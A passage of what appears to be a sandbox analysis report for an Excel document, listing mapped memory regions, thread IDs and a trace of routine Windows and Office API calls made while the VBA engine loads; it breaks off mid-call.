entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 563 start_va = 0x7fee6a20000 end_va = 0x7fee6a29fff entry_point = 0x7fee6a20000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 564 start_va = 0x7fee69a0000 end_va = 0x7fee6a12fff entry_point = 0x7fee69a0000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 565 start_va = 0xaff0000 end_va = 0xaffffff entry_point = 0x0 region_type = private name = "private_0x000000000aff0000" filename = "" Region: id = 566 start_va = 0x7fee6970000 end_va = 0x7fee6991fff entry_point = 0x7fee6970000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 567 start_va = 0xb000000 end_va = 0xb001fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b000000" filename = "" Region: id = 568 start_va = 0x7fee66f0000 end_va = 0x7fee6960fff entry_point = 0x7fee66f0000 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 569 start_va = 0x7fef57f0000 end_va = 0x7fef58acfff entry_point = 0x7fef57f0000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 570 start_va = 0x7fee66c0000 end_va = 0x7fee66e6fff entry_point = 0x7fee66c0000 region_type = mapped_file name = "ehstorapi.dll" filename = "\\Windows\\System32\\EhStorAPI.dll" (normalized: "c:\\windows\\system32\\ehstorapi.dll") Region: id = 571 start_va = 0x7fef8f60000 end_va = 0x7fef904dfff entry_point = 0x7fef8f60000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 572 start_va = 0xc3b0000 end_va = 0xc3b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3b0000" filename = "" Region: id = 573 start_va = 0xc740000 end_va = 0xc7bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c740000" filename = "" Region: id = 574 start_va = 0xc7c0000 end_va = 0xc83ffff entry_point = 0xc7c0000 region_type = mapped_file name = "~df881002abfaf7cc13.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF881002ABFAF7CC13.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df881002abfaf7cc13.tmp") Region: id = 575 start_va = 0xca60000 end_va = 0xcadffff entry_point = 0x0 region_type = private name = "private_0x000000000ca60000" filename = "" Region: id = 576 start_va = 0xcb50000 end_va = 0xcbcffff entry_point = 0x0 region_type = private name = "private_0x000000000cb50000" filename = "" Region: id = 577 start_va = 0xd220000 end_va = 0xd31ffff entry_point = 0x0 region_type = private name = "private_0x000000000d220000" filename = "" Region: id = 578 start_va = 0xd320000 end_va = 0xe31ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d320000" filename = "" Region: id = 579 start_va = 0x7fee6130000 end_va = 0x7fee66b6fff entry_point = 0x7fee6130000 region_type = mapped_file name = "gkexcel.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkexcel.dll") Region: id = 580 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 581 start_va = 0x4220000 end_va = 0x4220fff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 582 start_va = 0x4230000 end_va = 0x4232fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004230000" filename = "" Region: id = 583 start_va = 0xccb0000 end_va = 0xcd2ffff entry_point = 0x0 region_type = private name = "private_0x000000000ccb0000" filename = "" Region: id = 584 start_va = 0xe3f0000 end_va = 0xe46ffff entry_point = 0x0 region_type = private name = "private_0x000000000e3f0000" filename = "" Region: id = 585 start_va = 0x75770000 end_va = 0x75841fff entry_point = 0x75770000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll") Region: id = 586 start_va = 0x7fee5ce0000 end_va = 0x7fee6127fff entry_point = 0x7fee5ce0000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 587 start_va = 0x7fee6a40000 end_va = 0x7fee6af9fff entry_point = 0x7fee6a40000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 588 start_va = 0xe470000 end_va = 0xe56ffff entry_point = 0x0 region_type = private name = "private_0x000000000e470000" filename = "" Region: id = 589 start_va = 0xe5b0000 end_va = 0xe5bffff entry_point = 0x0 region_type = private name = "private_0x000000000e5b0000" filename = "" Region: id = 590 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 591 start_va = 0xe5c0000 end_va = 0xe851fff entry_point = 0xe5c0000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 592 start_va = 0xe5c0000 end_va = 0xe851fff entry_point = 0xe5c0000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 593 start_va = 0x7fee5a40000 end_va = 0x7fee5cddfff entry_point = 0x7fee5a40000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 594 start_va = 0x4490000 end_va = 0x4492fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004490000" filename = "" Region: id = 595 start_va = 0x51e0000 end_va = 0x51effff entry_point = 0x0 region_type = private name = "private_0x00000000051e0000" filename = "" Region: id = 596 start_va = 0x7fee5a10000 end_va = 0x7fee5a35fff entry_point = 0x7fee5a10000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 597 start_va = 0x5340000 end_va = 0x5349fff entry_point = 0x5340000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 598 start_va = 0x5360000 end_va = 0x5360fff entry_point = 0x0 region_type = private name = "private_0x0000000005360000" filename = "" Region: id = 599 start_va = 0x6b20000 end_va = 0x6b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000006b20000" filename = "" Region: id = 600 start_va = 0x5470000 end_va = 0x5472fff entry_point = 0x0 region_type = private name = "private_0x0000000005470000" filename = "" Region: id = 601 start_va = 0x5e40000 end_va = 0x5e43fff entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 602 start_va = 0x6550000 end_va = 0x6550fff entry_point = 0x0 region_type = private name = "private_0x0000000006550000" filename = "" Region: id = 603 start_va = 0x6560000 end_va = 0x6560fff entry_point = 0x0 region_type = private name = "private_0x0000000006560000" filename = "" Region: id = 604 start_va = 0x6770000 end_va = 0x6770fff entry_point = 0x0 region_type = private name = "private_0x0000000006770000" filename = "" Region: id = 605 start_va = 0x6a80000 end_va = 0x6a87fff entry_point = 0x0 region_type = private name = "private_0x0000000006a80000" filename = "" Region: id = 606 start_va = 0x6b70000 end_va = 0x6baffff entry_point = 0x0 region_type = private name = "private_0x0000000006b70000" filename = "" Region: id = 607 start_va = 0x6ca0000 end_va = 0x6ca2fff entry_point = 0x0 region_type = private name = "private_0x0000000006ca0000" filename = "" Region: id = 608 start_va = 0xc9a0000 end_va = 0xca1ffff entry_point = 0xc9a0000 region_type = mapped_file name = "~df194b3c11c4d7e58f.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF194B3C11C4D7E58F.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df194b3c11c4d7e58f.tmp") Region: id = 609 start_va = 0xe5c0000 end_va = 0xf5bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e5c0000" filename = "" Region: id = 610 start_va = 0xf5c0000 end_va = 0xf6c6fff entry_point = 0xf5c0000 region_type = mapped_file name = "excel.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe") Region: id = 611 start_va = 0x7dd0000 end_va = 0x7ddbfff entry_point = 0x7dd0000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 612 start_va = 0x7de0000 end_va = 0x7de3fff entry_point = 0x7de0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 613 start_va = 0xc3c0000 end_va = 0xc3d0fff entry_point = 0xc3c0000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 614 start_va = 0xcbd0000 end_va = 0xcc55fff entry_point = 0xcbd0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 615 start_va = 0xad80000 end_va = 0xad83fff entry_point = 0x0 region_type = private name = "private_0x000000000ad80000" filename = "" Region: id = 616 start_va = 0xafe0000 end_va = 0xafe3fff entry_point = 0x0 region_type = private name = "private_0x000000000afe0000" filename = "" Region: id = 617 start_va = 0xb000000 end_va = 0xb001fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b000000" filename = "" Region: id = 618 start_va = 0xc3e0000 end_va = 0xc3e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3e0000" filename = "" Region: id = 619 start_va = 0xc3f0000 end_va = 0xc3f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c3f0000" filename = "" Region: id = 620 start_va = 0xc400000 end_va = 0xc40efff entry_point = 0x0 region_type = private name = "private_0x000000000c400000" filename = "" Region: id = 621 start_va = 0xc870000 end_va = 0xc870fff entry_point = 0x0 region_type = private name = "private_0x000000000c870000" filename = "" Region: id = 622 start_va = 0xcaf0000 end_va = 0xcaf0fff entry_point = 0x0 region_type = private name = "private_0x000000000caf0000" filename = "" Region: id = 623 start_va = 0xf6d0000 end_va = 0xf873fff entry_point = 0x0 region_type = private name = "private_0x000000000f6d0000" filename = "" Region: id = 624 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 627 start_va = 0xc400000 end_va = 0xc401fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c400000" filename = "" Region: id = 628 start_va = 0xc850000 end_va = 0xc851fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c850000" filename = "" Region: id = 629 start_va = 0xc860000 end_va = 0xc860fff entry_point = 0x0 region_type = private name = "private_0x000000000c860000" filename = "" Region: id = 630 start_va = 0xf980000 end_va = 0xfa7ffff entry_point = 0x0 region_type = private name = "private_0x000000000f980000" filename = "" Region: id = 631 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 632 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 906 start_va = 0xc3e0000 end_va = 0xc3e3fff entry_point = 0x0 region_type = private name = "private_0x000000000c3e0000" filename = "" Region: id = 907 start_va = 0xfc30000 end_va = 0xfd2ffff entry_point = 0x0 region_type = private name = "private_0x000000000fc30000" filename = "" Region: id = 908 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 909 start_va = 0xfd30000 end_va = 0x10cfffff entry_point = 0x0 region_type = private name = "private_0x000000000fd30000" filename = "" Region: id = 910 start_va = 0x7fee6dd0000 end_va = 0x7fee6eeefff entry_point = 0x7fee6dd0000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 911 start_va = 0xf880000 end_va = 0xf97ffff entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 950 start_va = 0xc880000 end_va = 0xc880fff entry_point = 0x0 region_type = private name = "private_0x000000000c880000" filename = "" Region: id = 951 start_va = 0xc890000 end_va = 0xc891fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 952 start_va = 0xcae0000 end_va = 0xcae1fff entry_point = 0x0 region_type = private name = "private_0x000000000cae0000" filename = "" Region: id = 953 start_va = 0xcb00000 end_va = 0xcb01fff entry_point = 0x0 region_type = private name = "private_0x000000000cb00000" filename = "" Region: id = 954 start_va = 0xcb10000 end_va = 0xcb10fff entry_point = 0x0 region_type = private name = "private_0x000000000cb10000" filename = "" Region: id = 955 start_va = 0xcb30000 end_va = 0xcb30fff entry_point = 0x0 region_type = private name = "private_0x000000000cb30000" filename = "" Region: id = 956 start_va = 0x7fee59e0000 end_va = 0x7fee5a02fff entry_point = 0x7fee59e0000 region_type = mapped_file name = "officevoicemanager.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\officevoicemanager.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\officevoicemanager.dll") Region: id = 1120 start_va = 0xa570000 end_va = 0xa5a0fff entry_point = 0xa570000 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 1121 start_va = 0xa6a0000 end_va = 0xa6a0fff entry_point = 0x0 region_type = private name = "private_0x000000000a6a0000" filename = "" Region: id = 1122 start_va = 0x10d00000 end_va = 0x12054fff entry_point = 0x10d00000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1123 start_va = 0x7fee5450000 end_va = 0x7fee55c3fff entry_point = 0x7fee5450000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll") Region: id = 3148 start_va = 0x2a90000 end_va = 0x2aabfff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 3149 start_va = 0x2ab0000 end_va = 0x2b2ffff entry_point = 0x2ab0000 region_type = mapped_file name = "60c40000" filename = "\\Users\\aETAdzjz\\Desktop\\60C40000" (normalized: "c:\\users\\aetadzjz\\desktop\\60c40000") Region: id = 3150 start_va = 0x2b30000 end_va = 0x2b33fff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 3151 start_va = 0x4a60000 end_va = 0x4a63fff entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 3152 start_va = 0xa5d0000 end_va = 0xa5d1fff entry_point = 0x0 region_type = private name = "private_0x000000000a5d0000" filename = "" Region: id = 3153 start_va = 0xfac0000 end_va = 0xfbbffff entry_point = 0x0 region_type = private name = "private_0x000000000fac0000" filename = "" Region: id = 3154 start_va = 0x12060000 end_va = 0x1285ffff entry_point = 0x0 region_type = private name = "private_0x0000000012060000" filename = "" Region: id = 3155 start_va = 0x12860000 end_va = 0x1385ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000012860000" filename = "" Region: id = 3156 start_va = 0x7fef6100000 end_va = 0x7fef62f1fff entry_point = 0x7fef6100000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 3157 start_va = 0x2b40000 end_va = 0x2b40fff entry_point = 0x2b40000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 3158 start_va = 0x3d60000 end_va = 0x3ddffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 3159 start_va = 0xa790000 end_va = 0xa80ffff entry_point = 0x0 region_type = private name = "private_0x000000000a790000" filename = "" Region: id = 3160 start_va = 0xced0000 end_va = 0xcf4ffff entry_point = 0x0 region_type = private name = "private_0x000000000ced0000" filename = "" Region: id = 3161 start_va = 0x13860000 end_va = 0x13c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000013860000" filename = "" Region: id = 3162 start_va = 0x3de0000 end_va = 0x3e50fff entry_point = 0x0 region_type = private name = "private_0x0000000003de0000" filename = "" Region: id = 3163 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x2a90000 region_type = mapped_file name = "doc06112" filename = "\\Users\\aETAdzjz\\Desktop\\Doc06112" (normalized: "c:\\users\\aetadzjz\\desktop\\doc06112") Region: id = 3164 start_va = 0x4370000 end_va = 0x43effff entry_point = 0x4370000 region_type = mapped_file name = "~df7424d5e59ef4bf97.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF7424D5E59EF4BF97.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df7424d5e59ef4bf97.tmp") Thread: id = 1 os_tid = 0xa38 Thread: id = 2 os_tid = 0xa34 Thread: id = 3 os_tid = 0xa30 Thread: id = 4 os_tid = 0xa2c Thread: id = 5 os_tid = 0x9a0 Thread: id = 6 os_tid = 0x99c Thread: id = 7 os_tid = 0x998 Thread: id = 8 os_tid = 0x968 Thread: id = 9 os_tid = 0x964 Thread: id = 10 os_tid = 0x960 Thread: id = 11 os_tid = 0x95c Thread: id = 12 os_tid = 0x958 Thread: id = 13 os_tid = 0x954 Thread: id = 14 os_tid = 0x950 Thread: id = 15 os_tid = 0x94c Thread: id = 16 os_tid = 0x948 Thread: id = 17 os_tid = 0x944 Thread: id = 18 os_tid = 0x940 Thread: id = 19 os_tid = 0x93c Thread: id = 20 os_tid = 0x938 Thread: id = 21 os_tid = 0x918 Thread: id = 22 os_tid = 0x914 Thread: id = 23 os_tid = 0x910 Thread: id = 24 os_tid = 0x90c Thread: id = 25 os_tid = 0x908 Thread: id = 26 os_tid = 0x904 Thread: id = 27 os_tid = 0x900 Thread: id = 28 os_tid = 0x8fc [0088.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22ed50 | out: lpSystemTimeAsFileTime=0x22ed50*(dwLowDateTime=0xd6b15620, dwHighDateTime=0x1d475ba)) [0088.535] GetCurrentProcessId () returned 0x8f8 [0088.535] GetCurrentThreadId () returned 0x8fc [0088.535] GetTickCount () returned 0x1f305 [0088.535] QueryPerformanceCounter (in: lpPerformanceCount=0x22ed58 | out: lpPerformanceCount=0x22ed58*=1813101500000) returned 1 [0088.538] __dllonexit () returned 0xb4548ac000007fe0 [0088.538] __dllonexit () returned 0xb4564c8000007fe0 [0088.540] __dllonexit () returned 0xb4567e4000007fe0 [0088.541] __dllonexit () returned 0xb457838000007fe0 [0088.542] __dllonexit () returned 0xb4567bc000007fe0 [0088.542] __dllonexit () returned 0xb45675c000007fe0 [0088.543] __dllonexit () returned 0xb45677c000007fe0 [0088.543] __dllonexit () returned 0xb45671c000007fe0 [0088.544] __dllonexit () returned 0xb45673c000007fe0 [0088.544] __dllonexit () returned 0xb4566dc000007fe0 [0088.544] __dllonexit () returned 0xb4566fc000007fe0 [0088.545] __dllonexit () returned 0xb45669c000007fe0 [0088.545] __dllonexit () returned 0xb4566bc000007fe0 [0088.546] __dllonexit () returned 0xb45665c000007fe0 [0088.546] __dllonexit () returned 0xb45667c000007fe0 [0088.547] __dllonexit () returned 0xb45661c000007fe0 [0088.547] __dllonexit () returned 0xb45663c000007fe0 [0088.547] __dllonexit () returned 0xb456a0c000007fe0 [0088.548] __dllonexit () returned 0xb45487c000007fe0 [0088.549] __dllonexit () returned 0xb45480c000007fe0 [0088.549] __dllonexit () returned 0xb45482c000007fe0 [0088.550] __dllonexit () returned 0xb4577fc000007fe0 [0088.550] __dllonexit () returned 0xb45778c000007fe0 [0088.550] __dllonexit () returned 0xb4577b0000007fe0 [0088.551] DisableThreadLibraryCalls (hLibModule=0x7fee5ce0000) returned 1 [0088.551] GetVersion () returned 0x1db10106 [0088.551] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0088.552] GetUserDefaultLCID () returned 0x409 [0088.552] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0088.552] GetSystemMetrics (nIndex=5) returned 1 [0088.552] GetSystemMetrics (nIndex=6) returned 1 [0088.552] GetSystemMetrics (nIndex=11) returned 32 [0088.552] GetSystemMetrics (nIndex=12) returned 32 [0088.552] GetSystemMetrics (nIndex=34) returned 132 [0088.552] GetSystemMetrics (nIndex=35) returned 38 [0088.552] GetSystemMetrics (nIndex=0) returned 1440 [0088.552] GetSystemMetrics (nIndex=1) returned 900 [0088.552] GetSystemMetrics (nIndex=32) returned 4 [0088.552] GetSystemMetrics (nIndex=33) returned 4 [0088.552] GetSystemMetrics (nIndex=4) returned 22 [0088.552] GetSystemMetrics (nIndex=42) returned 0 [0088.552] GetStockObject (i=15) returned 0x188000b [0088.557] GetStockObject (i=7) returned 0x1b00017 [0088.557] GetStockObject (i=6) returned 0x1b00018 [0088.557] GetStockObject (i=8) returned 0x1b00016 [0088.557] GetStockObject (i=4) returned 0x1900011 [0088.557] GetStockObject (i=2) returned 0x1900012 [0088.557] GetStockObject (i=0) returned 0x1900010 [0088.557] GetStockObject (i=5) returned 0x1900015 [0088.557] GetStockObject (i=13) returned 0x18a002e [0088.557] GetDC (hWnd=0x0) returned 0x90109ab [0088.557] GetDeviceCaps (hdc=0x90109ab, index=14) returned 1 [0088.557] GetDeviceCaps (hdc=0x90109ab, index=12) returned 32 [0088.557] GetDeviceCaps (hdc=0x90109ab, index=88) returned 96 [0088.557] GetDeviceCaps (hdc=0x90109ab, index=90) returned 96 [0088.557] GetDeviceCaps (hdc=0x90109ab, index=38) returned 32409 [0088.557] ReleaseDC (hWnd=0x0, hDC=0x90109ab) returned 1 [0088.557] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee60bba60 | out: ppMalloc=0x7fee60bba60*=0x7feffc15380) returned 0x0 [0088.632] GetModuleHandleA (lpModuleName=0x0) returned 0x13f1d0000 [0088.633] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee60ba048, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x230280, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x230280, pcbWrittenOrRequired=0x0) returned 1 [0088.633] ActivateActCtx (in: hActCtx=0xb857918, lpCookie=0x230270 | out: hActCtx=0xb857918, lpCookie=0x230270) returned 1 [0088.633] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x230290 | out: ReturnedData=0x230290) returned 1 [0088.633] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc690000 [0088.634] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000abb) returned 1 [0088.634] RegisterClassA (lpWndClass=0x2305c0) returned 0x19b101d0c052 [0088.635] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000abc) returned 1 [0088.636] wcscpy_s (in: _Destination=0x7214140, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0088.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", cchWideChar=77, lpMultiByteStr=0xe5b2540, cbMultiByte=154, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", lpUsedDefaultChar=0x0) returned 77 [0088.639] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7fee60c1418 | out: phModule=0x7fee60c1418*=0x7fefa750000) returned 1 [0088.640] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fefa7d3b3c [0088.640] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiGetProductCodeA") returned 0x7fefa7ca13c [0088.641] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiReinstallFeatureA") returned 0x7fefa7d1618 [0088.641] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideComponentA") returned 0x7fefa7cf088 [0088.652] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0088.652] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0088.652] lstrcpyW (in: lpString1=0x230340, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0088.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x230230, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68 [0088.653] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0089.360] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee5a40000 [0089.430] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000abd) returned 1 [0089.430] GetLastError () returned 0x0 [0089.431] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee5b472c0 [0089.431] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoVbaInitSecurity") returned 0x7fee5ab60b0 [0089.432] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee5a61a60 [0089.433] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee5ab5f50 [0089.433] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFInitOffice") returned 0x7fee5a5f000 [0089.434] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoUninitOffice") returned 0x7fee5a4e860 [0089.435] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFGetFontSettings") returned 0x7fee5a43fc0 [0089.435] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoRgchToRgwch") returned 0x7fee5a52380 [0089.436] GetProcAddress (hModule=0x7fee5a40000, 